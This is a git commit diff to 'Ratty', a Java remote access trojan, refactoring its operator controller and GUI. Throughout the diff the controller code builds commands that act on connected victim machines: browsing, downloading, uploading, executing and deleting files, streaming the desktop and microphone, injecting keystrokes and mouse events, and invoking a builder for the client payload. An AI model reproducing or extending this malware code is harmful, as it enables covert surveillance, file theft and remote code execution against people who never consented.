Browse Source

Major changes

Refactoring, reimplemented stuff
master
Sogomn 9 years ago
parent
commit
e7d5ae3b18
  1. 6
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 1
      Ratty/src/de/sogomn/rat/builder/StubBuilder.java
  3. 6
      Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java
  4. 6
      Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java
  5. 4
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  6. 64
      Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
  7. 27
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  8. 18
      Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java
  9. 9
      Ratty/src/de/sogomn/rat/server/gui/ISubController.java
  10. 9
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  11. 250
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  12. 16
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
  13. 2
      Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

6
Ratty/src/de/sogomn/rat/Ratty.java

@ -1,6 +1,5 @@
package de.sogomn.rat; package de.sogomn.rat;
import java.awt.Color;
import java.io.File; import java.io.File;
import java.io.IOException; import java.io.IOException;
import java.net.URI; import java.net.URI;
@ -9,7 +8,6 @@ import java.net.URISyntaxException;
import javax.swing.JDialog; import javax.swing.JDialog;
import javax.swing.JFrame; import javax.swing.JFrame;
import javax.swing.JOptionPane; import javax.swing.JOptionPane;
import javax.swing.UIDefaults;
import javax.swing.UIManager; import javax.swing.UIManager;
import javax.swing.plaf.nimbus.NimbusLookAndFeel; import javax.swing.plaf.nimbus.NimbusLookAndFeel;
@ -46,14 +44,10 @@ public final class Ratty {
private static void setLookAndFeel() { private static void setLookAndFeel() {
final NimbusLookAndFeel nimbus = new NimbusLookAndFeel(); final NimbusLookAndFeel nimbus = new NimbusLookAndFeel();
final UIDefaults defaults = nimbus.getDefaults();
JFrame.setDefaultLookAndFeelDecorated(true); JFrame.setDefaultLookAndFeelDecorated(true);
JDialog.setDefaultLookAndFeelDecorated(true); JDialog.setDefaultLookAndFeelDecorated(true);
defaults.put("nimbusBase", Color.LIGHT_GRAY);
defaults.put("cotrol", Color.LIGHT_GRAY);
try { try {
UIManager.setLookAndFeel(nimbus); UIManager.setLookAndFeel(nimbus);
} catch (final Exception ex) { } catch (final Exception ex) {

1
Ratty/src/de/sogomn/rat/builder/StubBuilder.java

@ -21,6 +21,7 @@ import de.sogomn.rat.Ratty;
/* /*
* This class is kinda hardcoded. * This class is kinda hardcoded.
* I don't care.
*/ */
public final class StubBuilder { public final class StubBuilder {

6
Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java → Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java

@ -5,16 +5,16 @@ import java.io.File;
import de.sogomn.engine.util.FileUtils; import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
public final class CreateFolderPacket implements IPacket {
public final class CreateDirectoryPacket implements IPacket {
private String path, name; private String path, name;
public CreateFolderPacket(final String path, final String name) {
public CreateDirectoryPacket(final String path, final String name) {
this.path = path; this.path = path;
this.name = name; this.name = name;
} }
public CreateFolderPacket() {
public CreateDirectoryPacket() {
this("", ""); this("", "");
} }

6
Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java → Ratty/src/de/sogomn/rat/packet/FileRequestPacket.java

@ -6,7 +6,7 @@ import java.util.stream.Stream;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
public class FileSystemPacket extends AbstractPingPongPacket {
public class FileRequestPacket extends AbstractPingPongPacket {
private String rootFile; private String rootFile;
@ -15,14 +15,14 @@ public class FileSystemPacket extends AbstractPingPongPacket {
private static final byte INCOMING = 1; private static final byte INCOMING = 1;
private static final byte END = 0; private static final byte END = 0;
public FileSystemPacket(final String rootFile) {
public FileRequestPacket(final String rootFile) {
this.rootFile = rootFile; this.rootFile = rootFile;
type = REQUEST; type = REQUEST;
paths = new String[0]; paths = new String[0];
} }
public FileSystemPacket() {
public FileRequestPacket() {
this(""); this("");
type = DATA; type = DATA;

4
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -13,11 +13,11 @@ public enum PacketType {
COMMAND(6, CommandPacket.class), COMMAND(6, CommandPacket.class),
DESKTOP(7, DesktopPacket.class), DESKTOP(7, DesktopPacket.class),
CLIPBOARD(8, ClipboardPacket.class), CLIPBOARD(8, ClipboardPacket.class),
FILE(9, FileSystemPacket.class),
FILE(9, FileRequestPacket.class),
DOWNLOAD(10, DownloadFilePacket.class), DOWNLOAD(10, DownloadFilePacket.class),
UPLOAD(11, UploadFilePacket.class), UPLOAD(11, UploadFilePacket.class),
EXECUTE(12, ExecuteFilePacket.class), EXECUTE(12, ExecuteFilePacket.class),
FOLDER(13, CreateFolderPacket.class),
DIRECTORY(13, CreateDirectoryPacket.class),
DELETE(14, DeleteFilePacket.class), DELETE(14, DeleteFilePacket.class),
MOUSE_EVENT(15, MouseEventPacket.class), MOUSE_EVENT(15, MouseEventPacket.class),
VOICE(16, VoicePacket.class), VOICE(16, VoicePacket.class),

64
Ratty/src/de/sogomn/rat/server/AbstractRattyController.java

@ -9,59 +9,25 @@ import de.sogomn.rat.packet.InformationPacket;
public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver { public abstract class AbstractRattyController implements IServerObserver, IConnectionObserver {
private ArrayList<ServerClient> clients;
private ArrayList<ActiveConnection> connections;
public AbstractRattyController() { public AbstractRattyController() {
clients = new ArrayList<ServerClient>();
}
protected abstract boolean handlePacket(final ServerClient client, final IPacket packet);
protected void logIn(final ServerClient client, final InformationPacket packet) {
final String name = packet.getName();
final String os = packet.getOs();
final String version = packet.getVersion();
client.logIn(name, os, version);
}
@Override
public void packetReceived(final ActiveConnection connection, final IPacket packet) {
final ServerClient client = getClient(connection);
final boolean loggedIn = client.isLoggedIn();
if (loggedIn) {
final boolean consumed = handlePacket(client, packet);
if (!consumed) {
packet.execute(connection);
}
} else if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet;
logIn(client, information);
}
connections = new ArrayList<ActiveConnection>();
} }
@Override @Override
public void connected(final ActiveServer server, final ActiveConnection connection) { public void connected(final ActiveServer server, final ActiveConnection connection) {
final ServerClient client = new ServerClient(connection);
final InformationPacket packet = new InformationPacket(); final InformationPacket packet = new InformationPacket();
connection.setObserver(this); connection.setObserver(this);
connection.start(); connection.start();
connection.addPacket(packet); connection.addPacket(packet);
clients.add(client);
connections.add(connection);
} }
@Override @Override
public void disconnected(final ActiveConnection connection) { public void disconnected(final ActiveConnection connection) {
final ServerClient client = getClient(connection);
clients.remove(client);
client.setStreamingDesktop(false);
client.setStreamingVoice(false);
connections.remove(connection);
connection.setObserver(null); connection.setObserver(null);
connection.close(); connection.close();
@ -69,28 +35,18 @@ public abstract class AbstractRattyController implements IServerObserver, IConne
@Override @Override
public void closed(final ActiveServer server) { public void closed(final ActiveServer server) {
clients.stream().forEach(client -> {
client.connection.setObserver(null);
client.connection.close();
connections.stream().forEach(connection -> {
connection.setObserver(null);
connection.close();
}); });
clients.clear();
connections.clear();
} }
public void broadcast(final IPacket packet) { public void broadcast(final IPacket packet) {
clients.stream().forEach(client -> {
client.connection.addPacket(packet);
connections.stream().forEach(connection -> {
connection.addPacket(packet);
}); });
} }
public final ServerClient getClient(final ActiveConnection connection) {
for (final ServerClient serverClient : clients) {
if (serverClient.connection == connection) {
return serverClient;
}
}
return null;
}
} }

27
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -5,6 +5,7 @@ import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter; import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent; import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage; import java.awt.image.BufferedImage;
import java.io.File;
import javax.swing.Icon; import javax.swing.Icon;
import javax.swing.ImageIcon; import javax.swing.ImageIcon;
@ -32,7 +33,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
private FileTreeNode lastNodeClicked; private FileTreeNode lastNodeClicked;
private static final String ROOT_NAME = "Drives";
private static final String ROOT_NAME = "";
private static final Dimension DEFAULT_SIZE = new Dimension(500, 500); private static final Dimension DEFAULT_SIZE = new Dimension(500, 500);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites(); private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites();
@ -134,6 +135,30 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
} }
} }
public void addNodeStructure(final String path) {
final String[] parts = path.split("\\" + File.separator);
if (parts.length == 0) {
final String[] part = {path};
addNodeStructure(part);
} else {
addNodeStructure(parts);
}
}
public void removeNode(final FileTreeNode node) {
treeModel.removeNodeFromParent(node);
}
public void removeChildren(final FileTreeNode node) {
final FileTreeNode[] children = node.getChildren();
for (final FileTreeNode child : children) {
treeModel.removeNodeFromParent(child);
}
}
public void setVisible(final boolean visible) { public void setVisible(final boolean visible) {
frame.setVisible(true); frame.setVisible(true);
} }

18
Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java

@ -28,16 +28,23 @@ public final class FileTreeNode implements MutableTreeNode {
return enumeration; return enumeration;
} }
public FileTreeNode[] getChildren() {
final FileTreeNode[] childArray = children.stream().toArray(FileTreeNode[]::new);
return childArray;
}
@Override @Override
public void insert(final MutableTreeNode child, final int index) { public void insert(final MutableTreeNode child, final int index) {
final boolean fileTreeNode = child instanceof FileTreeNode; final boolean fileTreeNode = child instanceof FileTreeNode;
if (index < 0 || index > children.size() - 1 || !fileTreeNode) {
if (index < 0 || index > children.size() || !fileTreeNode) {
return; return;
} }
final FileTreeNode fileTreeNodeChild = (FileTreeNode)child; final FileTreeNode fileTreeNodeChild = (FileTreeNode)child;
fileTreeNodeChild.setParent(this);
children.add(index, fileTreeNodeChild); children.add(index, fileTreeNodeChild);
} }
@ -64,6 +71,11 @@ public final class FileTreeNode implements MutableTreeNode {
parent.remove(this); parent.remove(this);
} }
@Override
public String toString() {
return name;
}
@Override @Override
public void setParent(final MutableTreeNode newParent) { public void setParent(final MutableTreeNode newParent) {
final boolean fileTreeNode = newParent instanceof FileTreeNode; final boolean fileTreeNode = newParent instanceof FileTreeNode;
@ -133,7 +145,9 @@ public final class FileTreeNode implements MutableTreeNode {
current = current.getParent(); current = current.getParent();
} }
return builder.toString();
final String path = builder.toString();
return path;
} }
public String getName() { public String getName() {

9
Ratty/src/de/sogomn/rat/server/gui/ISubController.java

@ -1,9 +0,0 @@
package de.sogomn.rat.server.gui;
import de.sogomn.rat.packet.IPacket;
interface ISubController extends IGuiController {
void handlePacket(final IPacket packet);
}

9
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -29,7 +29,6 @@ import javax.swing.filechooser.FileNameExtensionFilter;
import de.sogomn.engine.fx.SpriteSheet; import de.sogomn.engine.fx.SpriteSheet;
import de.sogomn.engine.util.AbstractListenerContainer; import de.sogomn.engine.util.AbstractListenerContainer;
import de.sogomn.engine.util.ImageUtils; import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.server.ServerClient;
public final class RattyGui extends AbstractListenerContainer<IGuiController> { public final class RattyGui extends AbstractListenerContainer<IGuiController> {
@ -171,7 +170,13 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
} }
public File getFile(final String type) { public File getFile(final String type) {
final FileFilter filter = new FileNameExtensionFilter("*." + type, type);
final FileFilter filter;
if (type != null) {
filter = new FileNameExtensionFilter("*." + type, type);
} else {
filter = null;
}
fileChooser.setFileFilter(filter); fileChooser.setFileFilter(filter);

250
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -1,41 +1,61 @@
package de.sogomn.rat.server.gui; package de.sogomn.rat.server.gui;
import java.awt.image.BufferedImage; import java.awt.image.BufferedImage;
import java.io.File;
import java.util.HashMap;
import java.util.Set;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.packet.AudioPacket;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.CreateDirectoryPacket;
import de.sogomn.rat.packet.DeleteFilePacket;
import de.sogomn.rat.packet.DesktopPacket; import de.sogomn.rat.packet.DesktopPacket;
import de.sogomn.rat.packet.DownloadFilePacket;
import de.sogomn.rat.packet.ExecuteFilePacket;
import de.sogomn.rat.packet.FileRequestPacket;
import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.UploadFilePacket;
import de.sogomn.rat.packet.VoicePacket;
import de.sogomn.rat.packet.WebsitePacket; import de.sogomn.rat.packet.WebsitePacket;
import de.sogomn.rat.server.AbstractRattyController; import de.sogomn.rat.server.AbstractRattyController;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.ServerClient;
/*
* Woah, this is a huge class.
*/
public final class RattyGuiController extends AbstractRattyController implements IGuiController { public final class RattyGuiController extends AbstractRattyController implements IGuiController {
private RattyGui gui; private RattyGui gui;
private HashMap<ActiveConnection, ServerClient> clients;
public RattyGuiController(final RattyGui gui) { public RattyGuiController(final RattyGui gui) {
this.gui = gui; this.gui = gui;
clients = new HashMap<ActiveConnection, ServerClient>();
gui.addListener(this); gui.addListener(this);
} }
/* /*
* ================================================== * ==================================================
* HANDLING
* HANDLING COMMANDS
* ================================================== * ==================================================
*/ */
private void showScreenshot(final ServerClient client, final ScreenshotPacket packet) {
final BufferedImage image = packet.getImage();
private void requestFile(final ServerClient client, final FileTreeNode node) {
final String path = node.getPath();
final FileRequestPacket packet = new FileRequestPacket(path);
client.displayPanel.showImage(image);
client.fileTree.removeChildren(node);
client.connection.addPacket(packet);
} }
private PopupPacket createPopupPacket() { private PopupPacket createPopupPacket() {
@ -74,11 +94,111 @@ public final class RattyGuiController extends AbstractRattyController implements
return null; return null;
} }
private void handleCommand(final ServerClient client, final String command) {
private AudioPacket createAudioPacket() {
final File file = gui.getFile("WAV");
final AudioPacket packet = new AudioPacket(file);
return packet;
}
private DownloadFilePacket createDownloadPacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final String path = node.getPath();
final DownloadFilePacket packet = new DownloadFilePacket(path);
return packet;
}
private UploadFilePacket createUploadPacket(final ServerClient client) {
final File file = gui.getFile();
if (file != null) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final String path = node.getPath();
final UploadFilePacket packet = new UploadFilePacket(file, path);
return packet;
}
return null;
}
private ExecuteFilePacket createExecutePacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final String path = node.getPath();
final ExecuteFilePacket packet = new ExecuteFilePacket(path);
return packet;
}
private DeleteFilePacket createDeletePacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final String path = node.getPath();
final DeleteFilePacket packet = new DeleteFilePacket(path);
return packet;
}
private CreateDirectoryPacket createFolderPacket(final ServerClient client) {
final String input = gui.getInput();
if (input != null) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final String path = node.getPath();
final CreateDirectoryPacket packet = new CreateDirectoryPacket(path, input);
return packet;
}
return null;
}
private void toggleDesktopStream(final ServerClient client) {
final boolean streamingDesktop = client.isStreamingDesktop();
client.setStreamingDesktop(!streamingDesktop);
gui.update();
}
private void toggleVoiceStream(final ServerClient client) {
final boolean streamingVoice = client.isStreamingVoice();
client.setStreamingVoice(!streamingVoice);
gui.update();
}
private void handleFileTreeCommand(final ServerClient client, final String command) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final FileTreeNode parent = node.getParent();
if (parent != null && command != FileTree.REQUEST) {
requestFile(client, parent);
}
requestFile(client, node);
}
private void launchAttack() {
//... //...
} }
private IPacket getPacket(final ServerClient client, final String command) {
private void handleCommand(final ServerClient client, final String command) {
if (command == RattyGui.FILES) {
client.fileTree.setVisible(true);
} else if (command == RattyGui.DESKTOP) {
toggleDesktopStream(client);
} else if (command == RattyGui.VOICE) {
toggleVoiceStream(client);
} else if (command == RattyGui.ATTACK) {
launchAttack();
} else if (command == RattyGui.BUILD) {
StubBuilder.start();
} else if (command == FileTree.NEW_FOLDER || command == FileTree.UPLOAD || command == FileTree.REQUEST || command == FileTree.DELETE) {
handleFileTreeCommand(client, command);
}
}
private IPacket createPacket(final ServerClient client, final String command) {
IPacket packet = null; IPacket packet = null;
if (command == RattyGui.FREE) { if (command == RattyGui.FREE) {
@ -95,22 +215,69 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = createWebsitePacket(); packet = createWebsitePacket();
} else if (command == RattyGui.DESKTOP) { } else if (command == RattyGui.DESKTOP) {
packet = new DesktopPacket(true); packet = new DesktopPacket(true);
} else if (command == RattyGui.AUDIO) {
packet = createAudioPacket();
} else if (command == RattyGui.VOICE) {
packet = new VoicePacket();
} else if (command == FileTree.DOWNLOAD) {
packet = createDownloadPacket(client);
} else if (command == FileTree.UPLOAD) {
packet = createUploadPacket(client);
} else if (command == FileTree.EXECUTE) {
packet = createExecutePacket(client);
} else if (command == FileTree.DELETE) {
packet = createDeletePacket(client);
} else if (command == FileTree.NEW_FOLDER) {
packet = createFolderPacket(client);
} else if (command == DisplayPanel.MOUSE_EVENT) {
packet = client.displayPanel.getLastMouseEventPacket();
} else if (command == DisplayPanel.KEY_EVENT) {
packet = client.displayPanel.getLastKeyEventPacket();
} }
return packet; return packet;
} }
@Override
protected boolean handlePacket(final ServerClient client, final IPacket packet) {
/*
* ==================================================
* HANDLING PACKETS
* ==================================================
*/
private void showScreenshot(final ServerClient client, final ScreenshotPacket packet) {
final BufferedImage image = packet.getImage();
client.displayPanel.showImage(image);
}
private void handleFiles(final ServerClient client, final FileRequestPacket packet) {
final String[] paths = packet.getPaths();
for (final String path : paths) {
client.fileTree.addNodeStructure(path);
}
}
private boolean handlePacket(final ServerClient client, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass(); final Class<? extends IPacket> clazz = packet.getClass();
boolean consumed = true;
if (clazz == ScreenshotPacket.class) { if (clazz == ScreenshotPacket.class) {
final ScreenshotPacket screenshot = (ScreenshotPacket)packet; final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
showScreenshot(client, screenshot); showScreenshot(client, screenshot);
} else if (clazz == FileRequestPacket.class) {
final FileRequestPacket request = (FileRequestPacket)packet;
handleFiles(client, request);
} else if (clazz == DesktopPacket.class) {
} else {
consumed = false;
} }
return false;
return consumed;
} }
/* /*
@ -119,19 +286,56 @@ public final class RattyGuiController extends AbstractRattyController implements
* ================================================== * ==================================================
*/ */
@Override
protected void logIn(final ServerClient client, final InformationPacket packet) {
super.logIn(client, packet);
private void logIn(final ServerClient client, final InformationPacket packet) {
final String name = packet.getName();
final String os = packet.getOs();
final String version = packet.getVersion();
client.logIn(name, os, version);
client.addListener(this);
gui.addRow(client); gui.addRow(client);
} }
@Override
public void packetReceived(final ActiveConnection connection, final IPacket packet) {
final ServerClient client = getClient(connection);
final boolean loggedIn = client.isLoggedIn();
if (loggedIn) {
final boolean consumed = handlePacket(client, packet);
if (!consumed) {
packet.execute(connection);
}
} else if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet;
logIn(client, information);
}
}
@Override
public void connected(final ActiveServer server, final ActiveConnection connection) {
final ServerClient client = new ServerClient(connection);
super.connected(server, connection);
clients.put(connection, client);
}
@Override @Override
public void disconnected(final ActiveConnection connection) { public void disconnected(final ActiveConnection connection) {
final ServerClient client = getClient(connection); final ServerClient client = getClient(connection);
gui.removeRow(client); gui.removeRow(client);
client.removeListener(this);
client.setStreamingDesktop(false);
client.setStreamingVoice(false);
clients.remove(connection);
super.disconnected(connection); super.disconnected(connection);
} }
@ -145,13 +349,27 @@ public final class RattyGuiController extends AbstractRattyController implements
@Override @Override
public void userInput(final String command) { public void userInput(final String command) {
final ServerClient client = gui.getLastServerClientClicked(); final ServerClient client = gui.getLastServerClientClicked();
final IPacket packet = getPacket(client, command);
handleCommand(client, command);
final IPacket packet = createPacket(client, command);
if (packet != null) { if (packet != null) {
client.connection.addPacket(packet); client.connection.addPacket(packet);
} }
handleCommand(client, command);
}
public final ServerClient getClient(final ActiveConnection searched) {
final Set<ActiveConnection> clientSet = clients.keySet();
for (final ActiveConnection connection : clientSet) {
if (connection == searched) {
final ServerClient client = clients.get(connection);
return client;
}
}
return null;
} }
} }

16
Ratty/src/de/sogomn/rat/server/ServerClient.java → Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -1,10 +1,8 @@
package de.sogomn.rat.server;
package de.sogomn.rat.server.gui;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.server.gui.DisplayPanel;
import de.sogomn.rat.server.gui.FileTree;
public final class ServerClient {
final class ServerClient {
private boolean loggedIn; private boolean loggedIn;
@ -30,6 +28,16 @@ public final class ServerClient {
loggedIn = true; loggedIn = true;
} }
public void addListener(final IGuiController controller) {
displayPanel.addListener(controller);
fileTree.addListener(controller);
}
public void removeListener(final IGuiController controller) {
displayPanel.removeListener(controller);
fileTree.removeListener(controller);
}
public void setStreamingDesktop(final boolean streamingDesktop) { public void setStreamingDesktop(final boolean streamingDesktop) {
this.streamingDesktop = streamingDesktop; this.streamingDesktop = streamingDesktop;
} }

2
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

@ -5,8 +5,6 @@ import java.util.function.Function;
import javax.swing.table.AbstractTableModel; import javax.swing.table.AbstractTableModel;
import de.sogomn.rat.server.ServerClient;
final class ServerClientTableModel extends AbstractTableModel { final class ServerClientTableModel extends AbstractTableModel {
private static final long serialVersionUID = 919111102883611810L; private static final long serialVersionUID = 919111102883611810L;

Loading…
Cancel
Save